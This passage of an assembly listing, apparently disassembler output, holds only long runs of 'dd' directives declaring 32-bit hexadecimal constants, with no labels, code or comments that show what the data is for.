dd 0DA257376h, 3E177048h, 581F3B8h, 586A4A0Dh, 3CA88FB2h
dd 0A096EEEEh, 0A4274B3Eh, 3444141Ch, 0E1AC1C83h, 0B79F0E02h
dd 447A975Ch, 6C690068h, 0A637B49h, 20304B51h, 0A8655039h
dd 0C34303C8h, 0BD57B816h, 91105805h, 0A4421B90h, 0C08B7183h
dd 6A12368h, 3BC507D0h, 9078D89Eh, 782048FCh, 7BEF1732h
dd 452402A5h, 1480C974h, 42F6F066h, 0B7DFC514h, 808B3834h
dd 0A14F9238h, 4D958F0h, 9886C2CFh, 0D8DC802Eh, 9B0325EAh
dd 290A3506h, 779F9021h, 47F7005Ah, 29CFCC8h, 1318D20Eh
dd 0FFB98373h, 4B7C801Ah, 98BB3C37h, 0B8E7A3F3h, 2833603h
dd 923A7BB3h, 0C880DC0Ch, 919D576Fh, 0C8871A02h, 403B070Eh
dd 635B8B00h, 2A67D178h, 81F68010h, 0CB799EE1h, 0E41CAEC9h
dd 840E05D6h, 8103E19Ah, 0B655E5B0h, 0A7411E8h, 9D105A0Fh
dd 0E81D81C0h, 8A991849h, 0A56F5D10h, 711B3501h, 0A085CA5Ch
dd 81849A39h, 0F187BE75h, 0DF1980E8h, 0D6205A3Bh, 0C39330CFh
dd 37A971F9h, 0D0DFC0C7h, 8F7C3h, 0C9CC5918h, 26C76EC2h
dd 0B99B900Ch, 0F9303036h, 0FEE845Ch, 5EA288D7h, 0E840A02Dh
dd 2A036C89h, 0FE6AA61Ch, 7CA8DEE6h, 93A209D4h, 182F3120h
dd 7C10C589h, 5849F9D9h, 79320094h, 0DCCCA1D2h, 929E0F5Fh
dd 0F281743Eh, 5598E848h, 42108088h, 3F1D93C3h, 86CA626Dh
dd 434F84E0h, 0F8DB31F0h, 1A579E8h, 5AFD1666h, 0D89E4F3Ch
dd 3D00A4F4h, 70D0A0EEh, 1DCBA98h, 8A78279Dh, 40C83B59h
dd 0C9964B80h, 0BB5EB912h, 70141027h, 0FA07E180h, 0A3FA4Eh
dd 0DFA53871h, 86741F9Dh, 2008A1C9h, 34E0C298h, 8774CDDh
dd 0A4D1E18Ch, 5B2C1509h, 2F09F4h, 0F2EA9934h, 2A649098h
dd 194DDBCh, 93C9E359h, 8CB76C5Bh, 70A760E8h, 8A690F27h
dd 30757A9Bh, 115A3C0h, 0F48CF33Dh, 0C3D4A09Eh, 1C4F4C76h
dd 0E96C0902h, 48402FD5h, 0CD308B3Ch, 2A7B307Fh, 10A300ACh
dd 4C96D511h, 0D42493DFh, 670008C0h, 157FFB22h, 0A3FE077Ch
dd 99922046h, 6B25DC18h, 0E4A46000h, 30C7D341h, 0B53909E3h
dd 70A0D45Eh, 0C37AD562h, 25C551C0h, 74FB03E4h, 9012802h
dd 0C49D26A0h, 39B64010h, 0E5798938h, 0DFE08254h, 80600A3Eh
dd 6B54AD10h, 0A47E1Ah
dd 2461B1FBh, 3BDDAFB5h, 48E03A4Ch, 76B2A08Ch, 36F9C71Ch
dd 0E2200248h, 5CA55045h, 8A300216h, 48AE9E4Ch, 74ECA9A0h
dd 1BE675F3h, 0CE5B5300h, 42991909h, 186972BBh, 0F0CB4971h
dd 0DD1D20E3h, 4F8B7EB6h, 1D440078h, 59566486h, 0C0DC48BCh
dd 90D7FBA8h, 0B6146D6Ah, 82EC260Bh, 0A9CABAFFh, 0E10E2E4h
dd 1096E6A0h, 0B5760AB1h, 0B0C41C2Fh, 44D03DB8h, 1304A73Ch
dd 40208C6Ch, 9FEA39Fh, 19A19061h, 0BB0874A1h, 67218150h
dd 3172E0D5h, 153D060h, 3B71A2FBh, 24515BDFh, 63110820h
dd 0D0081C46h, 38016FAEh, 0BDBF6006h, 7809A098h, 0E8832FDAh
dd 51461EAh, 35C0CC8Dh, 1C80400Fh, 89EFF667h, 48C9CA02h
dd 0C9015682h, 72C451B4h, 51B76F5Ch, 824D3907h, 89128F2h
dd 8C8A047h, 5FE70F12h, 0D3D0F000h, 23083CBh, 0BF8BC825h
dd 0C48A973h, 370029A4h, 0BB3EB953h, 74D9F1Bh, 852AEEBEh
dd 0FE16278Ch, 0B06DDAA0h, 0F85173F4h, 1E2877C0h, 0DF86B1C0h
dd 21986EBh, 0A5E2230Ah, 64E3E426h, 4340F3C1h, 0CBC81AE4h
dd 6679AA4h, 6B319C40h, 0CC205B75h, 0CC2F17D3h, 0C12420BAh
dd 0A103BE3Bh, 380E40Eh, 0E8ABA00Ch, 531909F4h, 2039A970h
dd 3E822C7h, 6BB78D0h, 1CF8000Dh, 577EAB5Ch, 4F07CF50h
dd 6E5FD0D6h, 4A46B080h, 82E5003Ch, 0B52D269Eh, 50075621h
dd 0B737FA9Ch, 76A03AE0h, 0B1F30211h, 0CDB1D54h, 0D89B06C0h
dd 95B28D0Dh, 0FBF01153h, 443D3CC6h, 6B6EF405h, 3F3020B6h
dd 7D7F9C59h, 80E99F76h, 62C9191h, 7009DBA7h, 72E11E90h
dd 7A9EC00Fh, 50F1AD46h, 309D0730h, 0BADB43h, 514DA21Ah
dd 897A4AD4h, 5D3E280Fh, 1D6020F1h, 544E2D8h, 0D1B668B8h
dd 0F536C026h, 10FD91Ch, 0EC7D995Ch, 1105104h, 0BAF2745h
dd 60514B36h, 3AEA017Dh, 9E033E00h, 0EF54A113h, 0B138677Dh
dd 5D667383h, 6B56C808h, 2619849Ah, 0A25280DBh, 4C02AD7h
dd 0A01CDE94h, 0AB070021h, 426488B1h, 5518A76Ch, 9C380EC7h
dd 0F86800EFh, 9BAB3758h, 0DB00E17Dh, 0A76389C2h, 7B21CFDh
dd 2916DE13h, 23E55DFh, 5AB93944h, 0A1458C01h, 28B582FCh
dd 70C4BD8h, 8806F2AEh, 0A628908Ch, 0D40E55CAh, 0C15F9A09h
dd 8040AAC6h, 3B2A42F0h, 121878C0h, 4EF4619Bh, 0B669200h
dd 0AE074F1Bh, 2AF4F327h, 7C8A0044h, 6C469042h, 0B501873Ch
dd 0FAA14009h, 10943EF1h, 7BB04F0h, 891FBAAFh, 44F206C0h
dd 8D3C0316h, 8763AC4Bh, 0DC20FBA9h, 0C073B127h, 0FF39106h
dd 4229AF6Ch, 0E87F081Fh, 2264084Ch, 11C05E84h, 5F25D302h
dd 42B24001h, 86057800h, 40708E80h, 51C04713h, 613BA22Fh
dd 678C0079h, 3F77F143h, 9B00CFFEh, 68FC6933h, 0E65AEEh
dd 0A1870FD1h, 0D8593E76h, 9102F2E4h, 0D54D67B2h, 0CE31608Ah
dd 8B4A00BEh, 0A56172DFh, 9E002402h, 8439EFD9h, 7C0947h
dd 20F83AFCh, 6C54EDA4h, 4C032370h, 0FFD44083h, 0B306F8CBh
dd 0C3C200F1h, 0E22AEB17h, 7EE9EBDh, 0D8185500h, 0C2AF233Dh
dd 0EAD60003h, 0AC904860h, 0FC009C9Dh, 0F879477Eh, 2996977h
dd 0B4502713h, 0C480BAE5h, 0F418989Ah, 467730F0h, 0F6329000h
dd 0B788204h, 6F5E0050h, 94342308h, 393DB347h, 8385BDB2h
dd 2EFA4FDCh, 684800B4h, 7E654086h, 81032CB5h, 9FE3725Dh
dd 34E0000Bh, 12D3E8AAh, 690051EEh, 9B663E7Bh, 2CD4C01Eh
dd 8F9C38h, 5E7F4229h, 0B13B28C6h, 671480F4h, 0D90286E9h
dd 1F00092h, 7EEA73DAh, 0DE180E45h, 6B8056C7h, 8882008Ah
dd 0B78C9EFAh, 4300C99Bh, 0BA4E1505h, 7C048BDFh, 0F7133894h
dd 1F8FE181h, 8C11F0D9h, 0DC0AD210h, 1AE00029h, 6E646DA1h
dd 0E80184A7h, 1B51863Ah, 0AA40C8E1h, 75C4C0BFh, 3B8E1227h
dd 0A9CF0087h, 13987DD1h, 6E141700h, 249630BAh, 90D2001Eh
dd 0C6764CEh, 4A580305h, 88EB00FFh, 83FD10EEh, 22961643h
dd 69730059h, 667AD217h, 25ED6707h, 2790F7A3h, 0F1EF345h
dd 0A1E3E608h, 8D02AD00h, 2B008B15h, 493288C5h, 1F781F62h
dd 83EC66C4h, 0BAE38953h, 7800AAFBh, 68E2DEA9h, 0EE7CCDh
dd 7B0CED3Ah, 0B027070Bh, 86F21D00h, 3F5313E2h, 99183D45h
dd 0FA696F00h, 4EA2AF3Eh, 7605E000h, 202E8480h, 0B4A43F95h
dd 0B0216E80h, 7AF20351h, 0E5E73400h, 0FF5C93E6h, 14DE009Bh
dd 5444B016h, 0C80339CCh, 0C6066045h, 181BD069h, 83FF0F7Bh
dd 0E160AB20h, 0CD161ACAh, 32920B01h, 0B83F2E03h, 23D840E1h
dd 28981F9Eh, 0C1851D76h, 0E2A76F60h, 19C080D7h, 31C04006h
dd 0BCC40034h, 0B94627F1h, 0AC00A196h, 0A556421Dh, 75E92A0h
dd 0D6FC33D5h, 691BF089h, 6F00B051h, 289AA2A8h, 0A6FD1Ah
dd 0F18E58FFh, 0D7F3BA23h, 9550D400h, 2518EBC9h, 10BC4C88h
dd 0E65EE700h, 3382A642h, 47D15001h, 0B767B02Fh, 417CC8DFh
dd 7EDA005Bh, 7B3DB8D8h, 8F0074CAh, 380931B4h, 3A3F3EABh
dd 0E4A51349h, 0A11759F8h, 0B8A0D303h, 0DABE3951h, 612008B0h
dd 0CF00F69Eh, 1755DF07h, 39F5473Dh, 300D429h, 0A7641353h
dd 0B73DF3FEh, 0DD9D81ADh, 8A3D4E2Ch, 369E9B40h, 0C2CC0019h
dd 3CFCB26Fh, 4100E6CBh, 304FE14Ch, 7DC5FFh, 864DD226h
dd 977B618Ch, 0A522DB1Dh, 415E1240h, 0A694FDh, 81BE8C1h
dd 6A402DD7h, 9547D000h, 8A2C9DF1h, 37A400CFh, 78DA521Fh
dd 593F1DD9h, 0BC4E803Ch, 162A982Bh, 0A4DF003Bh, 0EA27D14Dh
dd 680FA3CBh, 804B90F2h, 0C9F67522h, 0E9850093h, 0C6F487F1h
dd 0CE00173Eh, 6D45EB5Ch, 73410Ch, 0B48BD646h, 1371A7F6h
dd 695E9300h, 49D9A0ACh, 744F0EE6h, 0BF809750h, 23EDCEC1h
dd 3767A800h, 0EE20AFA6h, 3B8D003Fh, 0BA420596h, 4600EBB2h
dd 64BBF5EAh, 12F70F99h, 0C22082h, 0AB51A13Eh, 0BBF2EDA3h
dd 7C00C8F6h, 63CD15A8h, 46BECCh, 2D6579D7h, 0A9B0B73h
dd 0AC77C800h, 0D43697C9h, 0A9F00143h, 67D66A45h, 0A899FCDAh
dd 0D35A9212h, 7E559100h, 3A2E327Bh, 584801DEh, 93F54A04h
dd 80094036h, 0E0DFD568h, 35120742h, 10C77A83h, 15AB4FEFh
dd 0E8643D00h, 41712516h, 0F1D3037Fh, 0DE91A043h, 3DC8AD8Bh
dd 82008C1Eh, 8A3C657Ch, 6BEEFBh, 0F72843D0h, 0DF56A86Eh
dd 58384D00h, 0E8FD1B6Dh, 30870077h, 11C3A127h, 6A1F1981h
dd 0C64026B8h, 8D7B6704h, 0CE1003B7h, 60C06D2Bh, 2EE20FE8h
dd 80126B3Bh, 919E1FAFh, 0CBF93Dh, 0B2442667h, 2988F25h
dd 2A60CD07h, 439099A0h, 7C57BFBh, 6B139CD2h, 0C7B18026h
dd 0D70151ECh, 669B4E60h, 32FCA2AAh, 525B028h, 0E10388B6h
dd 5D1F80DDh, 2F00966Ah, 406FBB9Eh, 0C4D65Fh, 4744D972h
dd 0E7FA0370h, 123E5C07h, 7AB07188h, 0C4E63Ah, 8AFCC1C7h
dd 450892BEh, 0F7185C00h, 0E20C369Fh, 0A2E4002Ah, 398E74CDh
dd 0B71FAADEh, 0ED07E1A1h, 19D06EACh, 14377E35h, 0FB93FA36h
dd 1B91FB00h, 618B1CAFh, 5A7B7200h, 1428BC1Fh, 0A8E2008Eh
dd 46742E06h, 2A00D5BFh, 6681D639h, 1CFF88Fh, 0E2DCC64Ch
dd 0CCBB26C5h, 94032012h, 0E080D211h, 48368071h, 836A4C58h
dd 86D3C700h, 19E41A1Fh, 70C43900h, 932F2621h, 0B79E0F28h
dd 4860D324h, 0E45599C9h, 9AB4D100h, 973A68F6h, 1D7FEEh
dd 5B072206h, 2A2C81C1h, 4C994E00h, 0B9CCF1A5h, 0DDBF03F8h
dd 0B41E1C43h, 49371680h, 870E407h, 319FAA9h, 40DF41h
dd 61D87A6Eh, 0B21A4B12h
dd 0B9E4713Dh, 46EE8C6Dh, 3DB76E9h, 371E02A9h, 2DF8AFDFh
dd 9EE4870Ch, 36E85F1Eh, 0DE7291C0h, 60EDECDAh, 0AB026601h
dd 1F007066h, 684FC955h, 0E4E43397h, 5F8E0760h, 0D17A9153h
dd 0E95BCDF2h, 6FAE60C8h, 0F4B2A00h, 0D047FAEh, 9C210F7Eh
dd 2240DED1h, 7036EE8h, 0EF602B60h, 1695430h, 26B53BE0h
dd 0FC08C179h, 0D50027DDh, 0A8533274h, 0D7C902h, 0E1559D90h
dd 8B03418Dh, 0C4F423FEh, 8EB830EAh, 3B9F1800h, 0CEB04295h
dd 925B0157h, 5F61D701h, 446BC4C0h, 71EB0307h, 7C10ECF2h
dd 1F2281F7h, 1402E0h, 6C920594h, 553A6B1Fh, 154B00C7h
dd 5C7DE951h, 8D57003Ah, 0C6BF3456h, 473B95DDh, 4BF5802Bh
dd 0AD9B3FEFh, 221B00B3h, 68F23A8Eh, 2AE431C2h, 168C2400h
dd 74518AB2h, 1C761Bh, 28B14A6Ch, 6E05F2CAh, 5C03C900h
dd 8FF4B78Ah, 85742Ah, 927C2B77h, 2FF61A50h, 0DD73EC00h
dd 0BA3B0BAEh, 0D379073Dh, 0B1F5EEDCh, 0F04CE99Eh, 0B7501272h
dd 6B01D988h, 7A0E414Ah, 0E03A142Ch, 0C10084E9h, 507E380Fh
dd 826BE5h, 44CAAAC6h, 0AC7D5FF8h, 6EA24200h, 4C0745C5h
dd 88EE00FDh, 4F7BB99Eh, 2007E3Ah, 7C708630h, 0DCF280h
dd 5CACB554h, 0D21D2A15h, 0F94AD700h, 0E234FBA7h, 9457006Dh
dd 0D6D46260h, 800ADE0h, 0D9C89D71h, 1A47CEh, 0B3800D7Fh
dd 3966BB8Eh, 94151F00h, 7D73C9F4h, 1C6B077Eh, 80C47A02h
dd 27125307h, 67204754h, 0D50D1B0Fh, 8D0E740h, 0E7B16950h
dd 0AE521F03h, 0DEBC8010h, 55E89048h, 3DDCB5Ch, 0E9FD0BB8h
dd 70181CCh, 0A79FCh, 0C14BEF0Fh, 0BE475893h, 800BDB0Ah
dd 9A049AD6h, 0D9C09CEDh, 0B883CDC3h, 630F1E52h, 0DD338081h
dd 6A38CB49h, 23F79700h, 0FB067A7Fh, 19AEE1Ah, 0DAD526F9h
dd 0F8E3CD62h, 0F3607B4Ch, 0A6CE3618h, 0DCF51E37h, 0BC38044h
dd 9DA502C2h, 3B004DB0h, 62FF1AD5h, 23C1ACh, 388F1C33h
dd 81BEB241h, 7A0460B0h, 0CCD1B3E2h, 2FE12DC0h, 0A0470019h
dd 3C3B2810h, 0B200B043h, 839BBC5Eh, 3FE03DE8h, 0A300D1CAh
dd 46E80FAh, 7000457Fh, 2271DDAFh, 3C199CEh, 0E3EA3D6h
dd 0BEF8D57Bh, 9D00F62Eh, 0CF76BC36h, 2CFA09h, 622F88E4h
dd 228426D2h, 0D80A9730h, 0D4A9B0h, 0F5B1A4E8h, 1CCBD57Ah
dd 0AB1AAE01h, 45190EEBh, 5B3A60h, 0CA309640h, 3D72D2C7h
dd 0E80066FCh, 5AE42EA3h, 5648B9h, 0FEC3DB4Bh, 683A4131h
dd 0B64C0C00h, 0A23B934Eh, 0ECFCA011h, 5EB900B8h, 61A66F26h
dd 57004EDDh, 19D88F9Fh, 0F53B53h, 0F7C70821h, 6E90E3EDh
dd 0C4A1310Ah, 5292B4A0h, 55B100AAh, 5E638B8Dh, 0C1D09C0Fh
dd 0C938E367h, 13A0D8F5h, 0F955002Dh, 0B5EDE059h, 65249214h
dd 811F0B5Ch, 2A4A2EC0h, 0A81B0Ch, 2BAEAD4h, 0B6AFA51Dh
dd 81D26B00h, 527E5856h, 0BDE842h, 9A36B9D4h, 8E876413h
dd 139B03Ch, 5385F9D5h, 0D7E4E263h, 0E8BF0DEh, 90D19524h
dd 0B6A981BDh, 60C86423h, 820084EFh, 0FFBF1141h, 2FE8D7h
dd 222BD328h, 3B71C9EAh, 45B60B00h, 989BD069h, 74CA000Dh
dd 0BABDF7E1h, 820E04F9h, 80438356h, 516D487Ah, 54BF030Bh
dd 0E33B1EADh, 0B64167E8h, 69520500h, 0E0B0D5AFh, 85A301D4h
dd 60A6C46Ah, 8681E06Dh, 3DA73800h, 0A94189A5h, 4DCE12D7h
dd 4600EBEBh, 0F3CCE251h, 9D40024h, 7C7E6292h, 9300DE06h
dd 4A30C21Fh, 3DA20425h, 0EC00BCABh, 0DEB9F5C0h, 8200517Fh
dd 0FA854C2Dh, 34EF1F6h, 0CE8BDEBh, 0E788276Eh, 6D00113Eh
dd 9DB1D62Fh, 0E069D015h, 841F0277h, 5C2D33D2h, 7AC606C0h
dd 180C4707h, 3750DE95h, 7975DDh, 688ADA72h, 0E7D25A3Dh
dd 9335C000h, 7FC7011Ch, 4BD400DBh, 8A688B05h, 73071211h
dd 0ED24B82Dh, 999A5380h, 4BCE30FEh, 7CE95864h, 7F6D2D0Fh
dd 41BB804Dh, 26C2DD49h, 0A20884h, 0E4DE0C0Ah, 7B6FE7A3h
dd 0C36FA119h, 0ACD01D3Fh, 2E730396h, 888AA7A8h, 948003EAh
dd 5BD77254h, 1CF0F900h, 8319308Eh, 58B35C23h, 0E78D470Fh
dd 0BDA28960h, 440572A0h, 31FB0BB7h, 4790AC00h, 0F4247F79h
dd 5818007Ah, 7CCF1A8Fh, 4F0E600Fh, 7C468A3h, 0BD017F8Ch
dd 388034C0h, 3A59108Bh, 8D0015E5h, 0AEB0F462h, 0FDE17BFh
dd 7FD2C09h, 6DA92000h, 8A000CC9h, 67E55AA5h, 28B5B8D3h
dd 0BE01A04h, 70B6668Bh, 0E3AF0300h, 200FDCDDh, 0F47B01AAh
dd 15EE00E4h, 341B23E4h, 5F570C79h, 4020A843h, 8567D00h
dd 7AFE6ADAh, 0AB7C0717h, 7E5AEDE6h, 1CD4641h, 0EBBFC898h
dd 0AAD0CE00h, 0D754F4C8h, 1CFF2C7Ch, 1B480060h, 1DF04D6Eh
dd 0BBA6F200h, 79606AA3h, 40F100ECh, 5B21F6C3h, 99014468h
dd 0A4BCCF5Eh, 2B601FDEh, 5C0B00E4h, 753ED27Dh, 5A00099Ch
dd 9BBB02B2h, 7C7AFA9Fh, 2A6B007Bh, 89408363h, 0C6010688h
dd 19A81AC2h, 21C4793Eh, 0FE23003Ah, 75501BC7h, 8D7FB5A3h
dd 683F1E00h, 395E54E6h, 0AF9F0076h, 604B1DCEh, 2107FB93h
dd 82A9203h, 0F903ED7h, 0D2809h, 84305F17h, 0B4743B26h
dd 0E9FF9503h, 0C891B029h, 279376h, 0C04B1AB7h, 5CC248E1h
dd 0B94E9500h, 4FCC61AEh, 4ADA006Dh, 0E29C0FFCh, 3C0E9158h
dd 1B8BB7Ch, 5E45FF83h, 0E0F9C8h, 0A274113Dh, 26AD8E89h
dd 3C3E373Bh, 4DB1803Ah, 0AAE4D925h, 92590157h, 0BD83DC15h
dd 0FA770DAh, 3E89F801h, 0F44C9945h, 1CBFEEE0h, 0C19242A3h
dd 0C5E30AB8h, 50BC4043h, 0C605C190h, 6533A5Eh, 74651B0h
dd 7285D0DDh, 58483C82h, 0FA172600h, 3CF22234h, 0C6B90742h
dd 31A41348h, 0C4825F2Bh, 0FA00460Eh, 145671Bh, 3C5B8E54h
dd 0ED3D7C87h, 1A831300h, 0C32DC569h, 0DC1E300h, 334B6A1Dh
dd 50C91D01h, 3AF94034h, 0E3EC6EB8h, 0BDFFEE00h, 99F178CDh
dd 5AC31E43h, 81960074h, 0AA40F476h, 0B20039E4h, 8E18AC88h
dd 1F9EBE1h, 0BDDEBAA1h, 0C91D6884h, 4B7920B6h, 5217C707h
dd 45E0D9FEh, 5CE57E86h, 0EC00EFDFh, 0C8D11DC6h, 727D5DFDh
dd 53288B00h, 880DE93Ah, 0C28D2E7Ch, 3F4C0B9Bh, 40836A87h
dd 0AFECEA7Ah, 89639700h, 29F1754Dh, 0CD4B00E7h, 10DDB2B8h
dd 910BAB0Ah, 1117E28h, 338E6F80h, 77C00DC0h, 0C0854A40h
dd 9938F96Fh, 15A0300h, 6E29F61Eh, 2D801F1Bh, 235B0036h
dd 92FE7C1Ah, 81125092h, 3B1350E5h, 0F41ED300h, 0B95C015h
dd 72B4C27Ch, 4A037456h, 0D00DAD33h, 825C69h, 0D4DF96BBh
dd 49C84E5Dh, 80F7A13Dh, 0C7FDD8C4h, 1D61E70Dh, 3B19F77h
dd 0A8D2AC8Fh, 5F4D50E0h, 1EF1471Fh, 0CD25E6C0h, 0A539F8h
dd 6A2AFACCh, 8DF79A82h, 1BE8C700h, 0CBA37463h, 53B6ACh
dd 958A0BD4h, 7539B15Bh, 376F00E1h, 9B0D7080h, 40136057h
dd 42C6AA9Fh, 6A1AF000h, 433A15F3h, 692A0394h, 0A3328ECh
dd 7EB1BE2Ch, 0C1F6A200h, 7E688FBBh, 1C57732h, 0D04A0C05h
dd 80ACD109h, 0FD39BAF4h, 0ABFAEDh, 903EBE83h, 0D5B07465h
dd 700091E8h, 1D66B717h, 2A4006h, 7E80756Bh, 0ED95AE4Ah
dd 12C7743Fh, 6600F715h, 0D4569DFDh, 1F380016h, 30D8853Ah
dd 0DF0FA3AFh, 4ECEB61h, 5BC05196h, 8D3260h, 79A76D17h
dd 522F6A25h, 67F63100h, 0B4E20BACh, 76340F91h, 0A2A0DA3Eh
dd 0CEA856C6h, 9555A31Fh, 0A5DC8A80h, 0B6BD4Eh, 20CBA41Ch
dd 0FBBABE84h, 6D101F60h, 6A6CD6h, 0C48D4DD4h, 0AF954F2Eh
dd 644E5E00h, 0ED80C13Ch
dd 0C698C0h, 5582226Ah, 456DE14Bh, 3AD1B100h, 277490AAh
dd 60E20044h, 490D684Dh, 0CA00949Bh, 0AAC084CDh, 791D9DD4h
dd 3815006Eh, 75916623h, 60F675Ah, 60F15251h, 24D0723Ah
dd 0EC9909C2h, 0B980CFD3h, 287BABA8h, 425B6600h, 0CD2F7025h
dd 203D1D23h, 0E396C021h, 0E78FD7B5h, 0C1491600h, 0BC7BBF08h
dd 365700BDh, 854E872Eh, 910048ACh, 0E1DFA1FEh, 0BECAC8h
dd 6D24B215h, 965666FDh, 7F3AF600h, 4B126990h, 5C7078A1h
dd 5F00F2FAh, 0B5BA5577h, 58E4DA40h, 0D2E0B00h, 0D179C9BEh
dd 0A79E07D8h, 80145256h, 70168884h, 0DBB3EE00h, 0AE5C6126h
dd 564B0B65h, 1800C4D0h, 1A2C6A12h, 0DDAC0200h, 0D7D77FCh
dd 0F8112631h, 0D4B1C24h, 0E0881E30h, 720EE2BEh, 80FE244Ch
dd 1F3D6326h, 212060F7h, 4C0125A8h, 0DCFC0424h, 0E6026A00h
dd 3D3B78h, 0FF6291A1h, 0B3D4BB10h, 0F329CE02h, 55A2612Ah
dd 4FC728C0h, 8149FE00h, 0AE6C2055h, 3D7A18CCh, 0A7EA187Ch
dd 803BE93Ch, 51824DF9h, 14BC76Dh, 0C66F3677h, 0E47FC950h
dd 0D6070D3Ah, 85231324h, 4D38DB20h, 0D09E64E8h, 0D472C053h
dd 0DD0FC24Ah, 0A09210BDh, 39DB1C69h, 0FAB01966h, 20A1F8CAh
dd 2500DCD3h, 7B75C1CCh, 0A74BDDAh, 0B2D537Dh, 0F37A4390h
dd 291C40A4h, 1CC795DBh, 80BA1AEEh, 5EF5E451h, 2EE60B6Ah
dd 41911300h, 1B4C462Fh, 354300FCh, 864A2210h, 0B500A6CCh
dd 0CFBD24E3h, 0F5D830h, 0BB2627C5h, 48D76DFDh, 39008B79h
dd 9896CAAEh, 769A69h, 9DDA6AFCh, 364B7DA9h, 0F53B3E00h
dd 0CACE4611h, 0BA8103B5h, 456184C2h, 0CD579DC8h, 37DE8200h
dd 5A667114h, 1F6800F5h, 3CFC383Eh, 550086D3h, 0E619223Dh
dd 3D94F8B7h, 5F00D9CCh, 51AD44E5h, 811FCA2Bh, 0E2401672h
dd 5CE1A8B9h, 9E830031h, 22C9D6Ah, 0F3009881h, 3BA555D5h
dd 0A82FEFh, 45A7F6DCh, 8038B0E5h, 0C5BB861Eh, 0E04E7B0Fh
dd 32D19BACh, 0D5E50043h, 0AD5D935Ch, 4D00CC2Dh, 68977848h
dd 3208F35h, 0E0AB95F4h, 5FEF6138h, 302ECB00h, 9600552Ah
dd 1CF93D7h, 3A02E27Fh, 0BD02E44Dh, 0AEC6D1E6h, 18E1D860h
dd 6846F730h, 7EFCC6Fh, 43C1231h, 643D103Eh, 50001EBBh
dd 0FDB80229h, 0C9AED81h, 9EB3AAECh, 2E18D5C0h, 5FE0E19Dh
dd 0A82518F5h, 0CCF211B7h, 59B4E71Fh, 0A37FFDCEh, 0C8BF2D31h
dd 1C9BA43h, 8405FB39h, 61D0CC71h, 19D4EC6Fh, 29F42A05h
dd 0EFC09430h, 0F1AA5h, 0D2BF91DDh, 3E806549h, 0CE4FC500h
dd 0D401C99Ch, 0EF0B0A72h, 1E6B3D7h, 990EEB5Dh, 1A1EBF8h
dd 0D02080E9h, 6805AD06h, 7228FC1Eh, 0A99000D5h, 0C2C1A58Bh
dd 58003872h, 26C05D9Eh, 0CFD2C3B4h, 30836838h, 0FEE0609Ch
dd 0E2001C7Ch, 88EDFFE3h, 15510B6Ch, 44C2E7CEh, 3BAC0A01h
dd 0CE9D568h, 9245891Ch, 8300F0A8h, 176537FEh, 43BE05ACh
dd 0F10CF3h, 6D6ECF3Ch, 30602875h, 0AA0DF411h, 1EDAE6AEh
dd 0DD4FCB2Eh, 21391831h, 0DB00E482h, 3665F467h, 0F061ABA4h
dd 0C5A944D2h, 74A2B800h, 0F7AE7A98h, 0E3EF03C3h, 0FB4C3B06h
dd 0FE9A0E03h, 0C8F42386h, 60DC0870h, 0EE7A18FDh, 0F5045C9Bh
dd 0F81D3552h, 586D6C00h, 7C60F296h, 0C2AE13B8h, 0E35000F6h
dd 11EC732Fh, 7E006899h, 0A9708EA4h, 0D7613Eh, 21150838h
dd 0E25E4F58h, 0EF9B9C02h, 0F7E344BEh, 118F6B06h, 0F20458EBh
dd 10C0E598h, 0B6F62FE2h, 7C2000EAh, 37DB2668h, 2100F9DAh
dd 7F58CE0Eh, 3B18CB2h, 0A1DDBCBEh, 0A6F0B779h, 9300AADAh
dd 484E8453h, 0A87E81h, 2F7D4194h, 1AD76E16h, 0FFF13C00h
dd 9545E8Eh, 0A7E02C01h, 88803E03h, 862F29Bh, 9301F496h
dd 2619B14Fh, 0A8D35EEDh, 7BD353h, 0AF7D7FF2h, 95C64C5Fh
dd 0E941D01Ch, 0A1018AC0h, 0D21947h, 0CACD3B8Eh, 9BB30A13h
dd 0A2E16700h, 81A75DBEh, 38C600F0h, 2587C851h, 98016968h
dd 220563CBh, 2DD0351Fh, 5EE40011h, 7C6BCE12h, 0CB3E04A9h
dd 7D23C2Ch, 1E0BC226h, 12A0AAE1h, 7358C8h, 0E3CC7457h
dd 98641D3Ch, 8E2E7000h, 0B6BCC95Ch, 0D58B00FCh, 495AD31Ch
dd 0D600DC50h, 9CA55DB8h, 24F877h, 0BF1E87F2h, 4743881Ch
dd 51E75400h, 6B2B1F11h, 0A04C0132h, 35D518FBh, 2B2D219Fh
dd 7FA5DB0h, 1B598936h, 0B0F26788h, 730D83FFh, 8D129F15h
dd 0F53200F0h, 655B8BA4h, 1EBD00E6h, 3CE0260Fh, 0BA0E75EEh
dd 8078B84Dh, 0DE6D5FB1h, 2A030008h, 231D1FD9h, 0E001F910h
dd 0E262D790h, 0DDD83DFDh, 0C9CF044Ah, 9155A7B4h, 0FB5D1824h
dd 57C03ABBh, 284B51DDh, 0D8347FC3h, 3F7BD164h, 0BE00ED37h
dd 0A64AE530h, 9700C9D6h, 0AC1F89B5h, 1453EEh, 304F560Fh
dd 0AB57074Eh, 0A823441Ch, 22AE1800h, 0F416606Dh, 40C8000Ch
dd 0EBCF840Bh, 9800B7D5h, 0C46962E0h, 0F6C7301Fh, 0E93400CDh
dd 0D4891380h, 18008F2Ch, 7ECBB6BAh, 77723315h, 0E4F4008Ch
dd 0DF1D0EADh, 13004695h, 2BCBD9F3h, 5FE6AFh, 0F0E04308h
dd 68D463F9h, 0E323D100h, 30BBED79h, 0C8E90015h, 0EFC448A6h
dd 1E0055C9h, 4CD22610h, 6D46AEh, 0B79C6EFEh, 38FC5C1Bh
dd 77985050h, 0FB02EE1Ch, 0B07DE203h, 0C3E68079h, 33FC0782h
dd 30421719h, 9457B622h, 10C438h, 0E737C6DEh, 7E4AEBDAh
dd 0DC06005Dh, 3152E867h, 4B005589h, 8EAB253Bh, 0EADBA2h
dd 0FDCE2FD4h, 0A3544857h, 45F9E500h, 7E2D028Ch, 58551C40h
dd 0EE89C006h, 32594D01h, 0FC5AF200h, 0F7467561h, 55A000ADh
dd 6D239151h, 4D0E9B04h, 0C03B5984h, 0F9EF4B79h, 9A5300B2h
dd 9533A724h, 0B402D1EAh, 3E217B6Ah, 0A82443DFh, 1C513D22h
dd 649383BFh, 18470058h, 78D11524h, 0B19E0808h, 0F9FF808Ch
dd 6AECA5D2h, 0C14B39h, 9A84ADB6h, 7B16F35Ah, 171B00E1h
dd 7B530918h, 8200B2FFh, 2178F803h, 7F473C6h, 0E6E79DA5h
dd 9CB7C0F5h, 2A00F7A3h, 4AF9514Dh, 1AFB035h, 2DB179C1h
